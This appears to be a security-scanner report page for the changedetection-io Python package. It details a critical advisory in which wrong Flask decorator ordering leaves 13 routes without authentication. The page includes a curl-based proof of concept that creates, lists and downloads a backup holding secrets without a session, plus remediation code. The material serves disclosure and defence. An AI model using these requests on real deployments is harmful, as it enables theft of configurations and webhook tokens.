pypi package report

Is changedetection-io safe?

19 known vulnerabilities, worst severity CRITICAL.

// reach

68 direct dependencies

23 carry known advisories, worst CRITICAL

0 packages depend on it

an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    0.0
    critical

    severity out of 10

    epss
    0.00%
    medium

    chance of exploitation in 30 days, 50th percentile of all CVEs

    xyz score
    0.0
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-jmrh-xmgh-x9j4, the advisory selected below

    // 19 advisories

    GHSA-jmrh-xmgh-x9j4

    CRITICALCVE-2026-35490
    // summary

    On 13 routes across 5 blueprint files, the @loginoptionallyrequired decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

    The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

    // details

    Correct order (used on 30+ routes):

    @blueprint.route('/settings', methods=['GET'])
    @login_optionally_required
    def settings():
        ...

    Incorrect order (13 vulnerable routes):

    @login_optionally_required          # ← Applied to return value of @route, NOT the view
    @blueprint.route('/backups/download/')  # ← Registers raw function
    def download_backup(filename):
        ...
    // poc
    === PHASE 1: Confirm Authentication is Required ===
    
    $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
    Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
    $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
    Settings page: HTTP 302 (auth required, redirects to login)
    
    Password is set. Unauthenticated requests to / and /settings
    are properly redirected to /login.
    
    === PHASE 2: Authentication Bypass on Backup Routes ===
    (All requests made WITHOUT any session cookie)
    
    --- Exploit 1: Trigger backup creation ---
    $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
    Response: HTTP 302 -> http://127.0.0.1:5557/backups/
    (302 redirects to /backups/ listing page, NOT to /login -- backup was created)
    
    --- Exploit 2: List backups page ---
    $ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
    Response: HTTP 200
    
    --- Exploit 3: Extract backup filenames ---
    $ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
    Found: changedetection-backup-20260331005425.zip
    
    --- Exploit 4: Download backup without authentication ---
    $ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
    Response: HTTP 200
    
    $ file /tmp/stolen_backup.zip
    /tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
    
    $ ls -la /tmp/stolen_backup.zip
    -rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip
    
    $ unzip -l /tmp/stolen_backup.zip
    Archive:  /tmp/stolen_backup.zip
      Length      Date    Time    Name
    ---------  ---------- -----   ----
        26496  2026-03-31 00:54   url-watches.json
           64  2026-03-31 00:52   secret.txt
           51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
         1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
         4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
        40877  2026
    // impact
    • Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
    • Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
    • SSRF — Proxy check endpoint can be triggered to scan internal network
    • Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions
    // remediation

    Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

    # Before (VULNERABLE):
    @login_optionally_required
    @blueprint.route('/backups/download/')
    def download_backup(filename):
    
    # After (FIXED):
    @blueprint.route('/backups/download/')
    @login_optionally_required
    def download_backup(filename):
    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-10-23 at 18:47 UTC. The most recent advisory here was published 2026-07-20. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.